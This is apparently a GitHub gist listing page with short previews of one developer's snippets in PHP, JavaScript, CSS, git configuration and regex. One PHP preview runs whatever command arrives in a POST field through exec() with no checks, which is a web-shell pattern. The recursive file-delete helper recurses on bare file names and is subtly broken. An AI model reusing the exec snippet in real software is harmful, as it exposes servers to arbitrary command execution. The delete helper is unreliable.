Direct links to the albums put together by Ubuntu Satanic Edition
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function array2table( $expression, $return = false ) { | |
$expression = (array)$expression; | |
$keys = array_keys($expression[0]); | |
$html = "<table class=\"arr2tbl\">"; | |
//headers | |
$html .= "<thead>"; | |
$html .= "<tr>"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[alias] | |
tree = log --oneline --decorate --graph |
This is a Python script to extract GNOME/GTK's color scheme and apply it to Wine, so that the themes (approximately) match.
- Set your Gnome theme as you would like it
- Run with a command like
python wine_colors_from_gtk.py
- Restart any apps running in Wine. They should match the Gnome theme colors now.
Better description with screenshots here: http://www.endolith.com/wordpress/2008/08/03/wine-colors/
This is also stored on https://code.launchpad.net/~endolith/+junk/wine-color-scraper
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if ( isset($_POST['cmd']) ) { | |
$_POST['cmd'] = stripslashes($_POST['cmd']); | |
#$output = shell_exec( escapeshellcmd($_POST['cmd']) ); | |
$out_arr = array(); | |
$exitcode = null; | |
exec( $_POST['cmd'], $out_arr, $exitcode ); | |
$output = "exitcode: {$exitcode}".PHP_EOL; | |
$output .= implode( $out_arr, PHP_EOL ); | |
/*if ( isset($_POST['ignoreHTML']) ) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Ensures there will be no 'console is undefined' errors | |
window.console = window.console || (function(){ | |
var c = {}; c.log = c.warn = c.debug = c.info = c.error = c.time = c.dir = c.profile = c.clear = c.exception = c.trace = c.assert = function(s){}; | |
return c; | |
})(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* override phone auto link colors (IE Mobile & iOS) */ | |
a[href^="maps:"], | |
a[href^="tel:"] { | |
color: inherit; | |
text-decoration: none; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function my_sql_regcase($str){ | |
$res = ""; | |
$chars = str_split($str); | |
foreach($chars as $char){ | |
if(preg_match("/[A-Za-z]/", $char)) | |
$res .= "[".mb_strtoupper($char, 'UTF-8').mb_strtolower($char, 'UTF-8')."]"; | |
else | |
$res .= $char; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
unlinkRecursive( $filepath ) { | |
if ( is_file($filepath) ) { | |
unlink($filepath); | |
} elseif ( is_dir($filepath) ) { | |
$files = array_diff(scandir($filepath), array('.','..')); | |
foreach ( $files as $fpath ) { | |
self::unlinkRecursive($fpath); | |
} | |
rmdir($filepath); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/(?:\"?([^\"]*)\"?\s+<?)?([^<>]*)(?:>)?/ |